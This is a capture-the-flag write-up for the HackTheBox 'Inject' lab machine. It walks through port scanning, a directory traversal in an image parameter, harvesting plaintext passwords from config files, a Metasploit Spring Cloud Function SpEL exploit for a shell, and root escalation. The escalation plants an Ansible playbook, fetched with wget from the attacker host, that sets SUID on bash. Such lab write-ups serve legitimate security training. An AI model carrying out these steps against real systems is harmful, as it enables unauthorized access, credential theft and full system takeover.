Hackthebox - Inject

Linux
Machine on HTB

Nmap

└──╼ $sudo nmap -T4 -sC -O -sV -p- 10.10.11.204
[sudo] password for gabrielle: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-01 19:50 EDT
Nmap scan report for 10.10.11.204
Host is up (0.024s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=4/1%OT=22%CT=1%CU=42268%PV=Y%DS=2%DC=I%G=Y%TM=6428C368
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=FA%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS(O
OS:1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11N
OS:W7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R
OS:=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%
OS:RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y
OS:%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R
OS:%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=
OS:40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S
OS:)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.08 seconds

Port 8080

We end up here

Gobuster finds these

┌─[✗]─[gabrielle@parrot]─[~]
└──╼ $gobuster dir -u http://10.10.11.204:8080/ -w /usr/share/seclists/Discovery/Web-Content/common.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.204:8080/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/04/01 20:05:35 Starting gobuster in directory enumeration mode
===============================================================
/blogs                (Status: 200) [Size: 5371]
/environment          (Status: 500) [Size: 712] 
/error                (Status: 500) [Size: 106] 
/register             (Status: 200) [Size: 5654]
/upload               (Status: 200) [Size: 1857]
                                                
===============================================================
2023/04/01 20:06:22 Finished
===============================================================

In the blogs page we have a user admin and a user Brandon Auger
The upload page looks like this

If we upload an image we can see it and we are on a page /show_image that has an ?img= parameter that seems injectable. We have a directory traversal

From our finding we can see that we have a user phil and a user frank.
Let's see what we can get from these users
The user flag is on Phil but it is protected

If we go back to frank this .m2 folder is interesting and indeed we find a password in the settings.xml

Here are the creds phil:DocPhillovestoInject123

        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

However if we can not find the key and can not connect with ssh. If we check the ssh config we see this DenyUsers phil
We can try to enumerate further the webapp. Here is the pom.xml file that might be worth a look

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>
	<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.6.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>
	<groupId>com.example</groupId>
	<artifactId>WebApp</artifactId>
	<version>0.0.1-SNAPSHOT</version>
	<name>WebApp</name>
	<description>Demo project for Spring Boot</description>
	<properties>
		<java.version>11</java.version>
	</properties>
	<dependencies>
		<dependency>
  			<groupId>com.sun.activation</groupId>
  			<artifactId>javax.activation</artifactId>
  			<version>1.2.0</version>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-thymeleaf</artifactId>
		</dependency>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-web</artifactId>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-devtools</artifactId>
			<scope>runtime</scope>
			<optional>true</optional>
		</dependency>

		<dependency>
			<groupId>org.springframework.cloud</groupId>
			<artifactId>spring-cloud-function-web</artifactId>
			<version>3.2.2</version>
		</dependency>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-test</artifactId>
			<scope>test</scope>
		</dependency>
		<dependency>
			<groupId>org.webjars</groupId>
			<artifactId>bootstrap</artifactId>
			<version>5.1.3</version>
		</dependency>
		<dependency>
			<groupId>org.webjars</groupId>
			<artifactId>webjars-locator-core</artifactId>
		</dependency>

	</dependencies>
	<build>
		<plugins>
			<plugin>
				<groupId>org.springframework.boot</groupId>
				<artifactId>spring-boot-maven-plugin</artifactId>
				<version>${parent.version}</version>
			</plugin>
		</plugins>
		<finalName>spring-webapp</finalName>
	</build>

</project>

Get a shell

If we google the items from the pom.xl we can see that it seems to be vulnerable to spring4shell, after a try of a few different exploit the one that workd was this one on Metasploit multi/http/spring_cloud_function_spel_injection

set RHOSTS 10.10.11.204
set LHOST tun0
Then we just need to run
And we get a shell as frank

Move to Phil

We can use the password we found previously to move to phil su phil it works

Now we can get the user flag

Let's also run python3 -c 'import pty;pty.spawn("/bin/bash")' and export TERM=screen to have a better shell

Privilege escalation

suid are not really interesting here
however phil belongs to the group staff that gives permission without having to be root.

staff: Allows users to add local modifications to the system (/usr/local) without needing root privileges (note that executables in /usr/local/bin are in the PATH variable of any user, and they may "override" the executables in /bin and /usr/bin with the same name). Compare with group "adm", which is more related to monitoring/security.

find / -user staff -print 2>/dev/null

/home/phil/.bash_history -rw-r--r-- 1 root root 832 Feb 2 2020 /usr/share/bash-completion/completions/bind /usr/lib/python3/dist-packages/ansible_collections/community/windows/tests/integration/targets/win_xml/files/config.xml /usr/lib/python3/dist-packages/ansible_collections/junipernetworks/junos/tests/integration/targets/junos_config/templates/basic/config.xml -rw-r--r-- 1 root root 2928 Mar 22 2020 /usr/share/bleachbit/cleaners/filezilla.xml /usr/share/openssh/sshd_config usr/lib/python3/dist-packages/ansible_collections/community/postgresql/tests/integration/targets/setup_postgresql_db/files/pg_hba.conf Sudo version 1.8.31 /usr/share/openssh/sshd_config

We get creds here cat /usr/lib/python3/dist-packages/ansible_collections/cisco/dnac/playbooks/credentials.yml

dnac_host: 192.168.196.2
dnac_port: 443
dnac_username: admin
dnac_password: Maglev123
dnac_version: 2.2.3.3
dnac_verify: False

I decided to run pspy and found these lines

2023/04/16 01:32:03 CMD: UID=0     PID=7000   | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1681608722.5781634-6981-17158073250937/AnsiballZ_setup.py
2023/04/16 01:32:03 CMD: UID=0     PID=6999   | /bin/sh -c /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1681608722.5781634-6981-17158073250937/AnsiballZ_setup.py && sleep 0
2023/04/16 01:32:03 CMD: UID=0     PID=6998   | /bin/sh -c /bin/sh -c '/usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1681608722.5781634-6981-17158073250937/AnsiballZ_setup.py && sleep 0'
2023/04/16 01:32:03 CMD: UID=0     PID=6981   | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
2023/04/16 01:32:03 CMD: UID=0     PID=6975   | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
2023/04/16 01:32:03 CMD: UID=0     PID=6974   | sleep 10
2023/04/16 01:32:03 CMD: UID=0     PID=6973   | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/
2023/04/16 01:32:03 CMD: UID=0     PID=6972   | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml

We have write rights on the task folder.
Looking up ansible we can see this interesting article that can allow us to escalate.
We create this yaml file in our kali machine

- name: "whatever"
  hosts: localhost
  connection: local
  tasks:
    - name: "whatever"
      shell: "chmod +s /bin/bash"
      register: "output"

This will put the suid bit on bash and we will then be able to exploit this with this
From our target we go to the tasks folder cd /opt/automation/tasks
We launch a python3 server from our attack machine
This way we can get the file in our target wget http://10.10.14.5/playbook_1.yml
The file has to be named playbook_1.yml
We can rename the initial file playbook_1.yml.old and get the new one after.
After a little while if we run /bin/bash -p we should be root
We can grab the final flag

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Last updated 11 months ago